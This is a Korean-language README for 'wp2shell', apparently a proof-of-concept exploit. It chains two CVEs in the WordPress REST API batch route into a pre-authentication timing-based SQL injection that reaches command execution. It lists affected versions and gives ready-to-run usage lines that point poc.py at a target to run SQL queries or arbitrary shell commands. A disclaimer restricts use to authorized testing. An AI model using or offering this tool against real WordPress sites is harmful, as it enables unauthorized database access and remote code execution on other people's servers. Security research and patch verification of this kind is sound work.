wp2shell PoC

WordPress REST API 배치 라우트 혼동 체인(CVE-2026-63030 + CVE-2026-60137)을 악용한 사전 인증(pre-auth) 타이밍 기반 SQL 인젝션 PoC 중 최초의 PoC입니다.

단순히 관리자 비밀번호를 크랙하려는 시도 없이 명령 실행을 달성했습니다.

영향을 받는 버전: WordPress 6.9.0–6.9.4 및 7.0.0–7.0.1. 6.9.5 및 7.0.2에서 수정되었습니다.

python3 poc.py https://target.example
python3 poc.py https://target.example 'SELECT DATABASE()'
python3 poc.py https://target.example -c "echo "you got pwned" > /tmp/pwned.txt && id"

연구 자료: Searchlight Cyber · Aikido · Aikido Intel · WordPress

면책 조항: 이 개념 증명(PoC)은 승인된 교육, 보안 연구 및 사고 대응 목적으로만 제공됩니다. 즉, 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.